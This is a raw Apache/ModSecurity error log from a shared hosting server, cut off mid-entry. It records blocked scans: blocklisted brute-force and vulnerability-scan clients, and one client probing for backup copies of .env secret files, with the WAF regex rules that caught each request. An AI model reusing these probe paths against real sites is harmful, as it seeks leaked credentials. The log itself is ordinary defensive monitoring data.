/home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:21.940989 2026] [access_compat:error] [pid 715691:tid 715731] [remote 57.141.14.52:36360] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:22.077526 2026] [security2:error] [pid 646876:tid 646982] [remote 210.211.99.176:56950] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 176.99.211.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "diazmedical.com"] [uri "/wp-login.php"] [unique_id "ai30PtyTkdrNlD40tSHNFwAACGc"] [Sat Jun 13 18:22:22.118375 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:22:22.118890 2026] [access_compat:error] [pid 646876:tid 646964] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDEvY2FwYWJpbGl0aWVz [Sat Jun 13 18:22:22.224274 2026] [security2:error] [pid 646876:tid 646946] [remote 17.246.23.244:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 244.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30PtyTkdrNlD40tSHNHwAAHUM"] [Sat Jun 13 18:22:22.268966 2026] [security2:error] [pid 646876:tid 646997] [remote 17.241.227.217:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30PtyTkdrNlD40tSHNIgAAf3Y"] [Sat Jun 13 18:22:22.397674 2026] [security2:error] [pid 715691:tid 715732] [remote 17.22.245.161:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 161.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30PrV-dFiaX9AtWiQaDQABShY"] [Sat Jun 13 18:22:22.415066 2026] [access_compat:error] [pid 646876:tid 646970] [remote 57.141.14.63:50754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:22.415344 2026] [access_compat:error] [pid 646876:tid 646970] [remote 57.141.14.63:50754] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:22.669078 2026] [access_compat:error] [pid 646876:tid 646904] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:22:22.669395 2026] [access_compat:error] [pid 646876:tid 646904] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:22:22.681863 2026] [access_compat:error] [pid 646876:tid 646882] [remote 57.141.14.6:55354] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:22.682113 2026] [access_compat:error] [pid 646876:tid 646882] [remote 57.141.14.6:55354] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:23.016410 2026] [access_compat:error] [pid 646876:tid 646925] [remote 57.141.14.3:48144] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:23.016875 2026] [access_compat:error] [pid 646876:tid 646925] [remote 57.141.14.3:48144] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:23.179410 2026] [access_compat:error] [pid 646876:tid 646947] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9pbnB1dDI6Om51bWxvY2svZGV2aWNl [Sat Jun 13 18:22:23.179973 2026] [access_compat:error] [pid 646876:tid 646947] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9pbnB1dDI6Om51bWxvY2svZGV2aWNl [Sat Jun 13 18:22:23.224736 2026] [security2:error] [pid 715691:tid 715745] [remote 17.22.237.34:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 34.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30P7V-dFiaX9AtWiQaHgABDSM"] [Sat Jun 13 18:22:23.394965 2026] [security2:error] [pid 715691:tid 715886] [client 208.84.100.145:37750] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.copy$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1269"] [id "390586"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .copy)"] [severity "CRITICAL"] [hostname "cpcalendars.viniteca.pe"] [uri "/___proxy_subdomain_cpcalendars/.env.local.copy"] [unique_id "ai30P7V-dFiaX9AtWiQaIAAAATc"] [Sat Jun 13 18:22:23.395235 2026] [security2:error] [pid 715691:tid 715869] [client 208.84.100.145:37822] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.orig$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1266"] [id "390584"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .orig)"] [severity "CRITICAL"] [hostname "cpcalendars.viniteca.pe"] [uri "/___proxy_subdomain_cpcalendars/.env.production.orig"] [unique_id "ai30P7V-dFiaX9AtWiQaIQAAASY"] [Sat Jun 13 18:22:23.395269 2026] [security2:error] [pid 646876:tid 647075] [client 208.84.100.145:37780] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "cpcalendars.viniteca.pe"] [uri "/___proxy_subdomain_cpcalendars/.env.production.old"] [unique_id "ai30P9yTkdrNlD40tSHNPgAAAEM"] [Sat Jun 13 18:22:23.395847 2026] [security2:error] [pid 646876:tid 647115] [client 208.84.100.145:37738] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.orig$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1266"] [id "390584"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .orig)"] [severity "CRITICAL"] [hostname "cpcalendars.viniteca.pe"] [uri "/___proxy_subdomain_cpcalendars/.env.local.orig"] [unique_id "ai30P9yTkdrNlD40tSHNPwAAAGs"] [Sat Jun 13 18:22:23.396074 2026] [proxy:error] [pid 715691:tid 715921] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:23.396139 2026] [proxy_http:error] [pid 715691:tid 715921] [client 208.84.100.145:37798] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:23.396210 2026] [proxy:error] [pid 646876:tid 647052] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:23.396259 2026] [proxy_http:error] [pid 646876:tid 647052] [client 208.84.100.145:37616] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:23.396551 2026] [proxy:error] [pid 715691:tid 715921] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:23.396559 2026] [security2:error] [pid 715691:tid 715854] [client 208.84.100.145:37814] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sw[a-z]$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1275"] [id "390587"] [rev "5"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .sw)"] [severity "CRITICAL"] [hostname "cpcalendars.viniteca.pe"] [uri "/___proxy_subdomain_cpcalendars/.env.production.swp"] [unique_id "ai30P7V-dFiaX9AtWiQaIwAAARc"] [Sat Jun 13 18:22:23.396574 2026] [proxy_http:error] [pid 715691:tid 715921] [client 208.84.100.145:37798] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:23.396723 2026] [proxy:error] [pid 646876:tid 647052] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:23.396747 2026] [proxy_http:error] [pid 646876:tid 647052] [client 208.84.100.145:37616] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:23.397903 2026] [security2:error] [pid 646876:tid 647103] [client 208.84.100.145:37704] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "cpcalendars.viniteca.pe"] [uri "/___proxy_subdomain_cpcalendars/.env.local.backup"] [unique_id "ai30P9yTkdrNlD40tSHNQgAAAF8"] [Sat Jun 13 18:22:23.397915 2026] [security2:error] [pid 715691:tid 715876] [client 208.84.100.145:37796] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "cpcalendars.viniteca.pe"] [uri "/___proxy_subdomain_cpcalendars/.env.production.backup"] [unique_id "ai30P7V-dFiaX9AtWiQaJAAAAS0"] [Sat Jun 13 18:22:23.398336 2026] [security2:error] [pid 715691:tid 715950] [client 208.84.100.145:37812] ModSecurity: Access denied with code 406 (phase 2). Pattern match "[a-z0-9]~$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1257"] [id "390581"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup file (disable this rule if you require access to files that end with a tilde)"] [severity "CRITICAL"] [hostname "cpcalendars.viniteca.pe"] [uri "/___proxy_subdomain_cpcalendars/.env.production~"] [unique_id "ai30P7V-dFiaX9AtWiQaJQAAAXc"] [Sat Jun 13 18:22:23.398569 2026] [security2:error] [pid 715691:tid 715918] [client 208.84.100.145:37736] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sw[a-z]$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1275"] [id "390587"] [rev "5"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .sw)"] [severity "CRITICAL"] [hostname "cpcalendars.viniteca.pe"] [uri "/___proxy_subdomain_cpcalendars/.env.local.swp"] [unique_id "ai30P7V-dFiaX9AtWiQaJgAAAVc"] [Sat Jun 13 18:22:23.398905 2026] [proxy:error] [pid 646876:tid 647102] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:23.398954 2026] [proxy_http:error] [pid 646876:tid 647102] [client 208.84.100.145:37638] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:23.398983 2026] [security2:error] [pid 646876:tid 647051] [client 208.84.100.145:37654] ModSecurity: Access denied with code 406 (phase 2). Pattern match "[a-z0-9]~$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1257"] [id "390581"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup file (disable this rule if you require access to files that end with a tilde)"] [severity "CRITICAL"] [hostname "cpcalendars.viniteca.pe"] [uri "/___proxy_subdomain_cpcalendars/.env~"] [unique_id "ai30P9yTkdrNlD40tSHNRAAAACs"] [Sat Jun 13 18:22:23.399263 2026] [security2:error] [pid 646876:tid 647096] [client 208.84.100.145:37690] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "cpcalendars.viniteca.pe"] [uri "/___proxy_subdomain_cpcalendars/.env.local.old"] [unique_id "ai30P9yTkdrNlD40tSHNQQAAAFg"] [Sat Jun 13 18:22:23.399303 2026] [security2:error] [pid 715691:tid 715931] [client 208.84.100.145:37764] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "cpcalendars.viniteca.pe"] [uri "/___proxy_subdomain_cpcalendars/.env.production.bak"] [unique_id "ai30P7V-dFiaX9AtWiQaJwAAAWQ"] [Sat Jun 13 18:22:23.399425 2026] [proxy:error] [pid 646876:tid 647102] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:23.399459 2026] [proxy_http:error] [pid 646876:tid 647102] [client 208.84.100.145:37638] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:23.400708 2026] [security2:error] [pid 715691:tid 715849] [client 208.84.100.145:37720] ModSecurity: Access denied with code 406 (phase 2). Pattern match "[a-z0-9]~$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1257"] [id "390581"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup file (disable this rule if you require access to files that end with a tilde)"] [severity "CRITICAL"] [hostname "cpcalendars.viniteca.pe"] [uri "/___proxy_subdomain_cpcalendars/.env.local~"] [unique_id "ai30P7V-dFiaX9AtWiQaKQAAARI"] [Sat Jun 13 18:22:23.400943 2026] [proxy:error] [pid 646876:tid 647025] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:23.400991 2026] [proxy_http:error] [pid 646876:tid 647025] [client 208.84.100.145:37624] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:23.401407 2026] [security2:error] [pid 715691:tid 715842] [client 208.84.100.145:37664] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.orig$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1266"] [id "390584"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .orig)"] [severity "CRITICAL"] [hostname "cpcalendars.viniteca.pe"] [uri "/___proxy_subdomain_cpcalendars/.env.orig"] [unique_id "ai30P7V-dFiaX9AtWiQaLAAAAQs"] [Sat Jun 13 18:22:23.401445 2026] [security2:error] [pid 715691:tid 715945] [client 208.84.100.145:37678] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "cpcalendars.viniteca.pe"] [uri "/___proxy_subdomain_cpcalendars/.env.local.bak"] [unique_id "ai30P7V-dFiaX9AtWiQaKgAAAXI"] [Sat Jun 13 18:22:23.401586 2026] [security2:error] [pid 715691:tid 715855] [client 208.84.100.145:37674] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.copy$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1269"] [id "390586"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .copy)"] [severity "CRITICAL"] [hostname "cpcalendars.viniteca.pe"] [uri "/___proxy_subdomain_cpcalendars/.env.copy"] [unique_id "ai30P7V-dFiaX9AtWiQaKwAAARg"] [Sat Jun 13 18:22:23.401667 2026] [proxy:error] [pid 646876:tid 647025] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:23.401706 2026] [proxy_http:error] [pid 646876:tid 647025] [client 208.84.100.145:37624] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:23.401901 2026] [proxy:error] [pid 715691:tid 715963] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:23.401962 2026] [security2:error] [pid 715691:tid 715927] [client 208.84.100.145:37658] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sw[a-z]$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1275"] [id "390587"] [rev "5"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .sw)"] [severity "CRITICAL"] [hostname "cpcalendars.viniteca.pe"] [uri "/___proxy_subdomain_cpcalendars/.env.swp"] [unique_id "ai30P7V-dFiaX9AtWiQaLgAAAWA"] [Sat Jun 13 18:22:23.401980 2026] [proxy_http:error] [pid 715691:tid 715963] [client 208.84.100.145:37712] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:23.402251 2026] [proxy:error] [pid 715691:tid 715930] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:23.402290 2026] [proxy_http:error] [pid 715691:tid 715930] [client 208.84.100.145:37622] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:23.402513 2026] [proxy:error] [pid 715691:tid 715963] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:23.402541 2026] [proxy_http:error] [pid 715691:tid 715963] [client 208.84.100.145:37712] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:23.402754 2026] [proxy:error] [pid 715691:tid 715930] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:23.402779 2026] [proxy_http:error] [pid 715691:tid 715930] [client 208.84.100.145:37622] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:23.413108 2026] [security2:error] [pid 646876:tid 646971] [remote 17.246.19.75:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 75.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30P9yTkdrNlD40tSHNRgAAYlw"] [Sat Jun 13 18:22:23.441806 2026] [access_compat:error] [pid 646876:tid 646987] [remote 57.141.14.22:41434] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:22:23.442087 2026] [access_compat:error] [pid 646876:tid 646987] [remote 57.141.14.22:41434] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:22:23.479086 2026] [security2:error] [pid 646876:tid 647132] [client 208.84.100.145:37836] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.copy$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1269"] [id "390586"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .copy)"] [severity "CRITICAL"] [hostname "cpcalendars.viniteca.pe"] [uri "/___proxy_subdomain_cpcalendars/.env.production.copy"] [unique_id "ai30P9yTkdrNlD40tSHNSgAAAHw"] [Sat Jun 13 18:22:23.481321 2026] [proxy:error] [pid 646876:tid 647093] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:23.481409 2026] [proxy_http:error] [pid 646876:tid 647093] [client 208.84.100.145:37832] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:23.481979 2026] [proxy:error] [pid 715691:tid 715903] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:23.482035 2026] [proxy_http:error] [pid 715691:tid 715903] [client 208.84.100.145:37828] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:23.482060 2026] [proxy:error] [pid 646876:tid 647093] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:23.482090 2026] [proxy_http:error] [pid 646876:tid 647093] [client 208.84.100.145:37832] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:23.482481 2026] [proxy:error] [pid 715691:tid 715903] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:22:23.482504 2026] [proxy_http:error] [pid 715691:tid 715903] [client 208.84.100.145:37828] AH01114: HTTP: failed to make connection to backend: 127.0.0.1 [Sat Jun 13 18:22:23.673503 2026] [access_compat:error] [pid 646876:tid 646983] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: 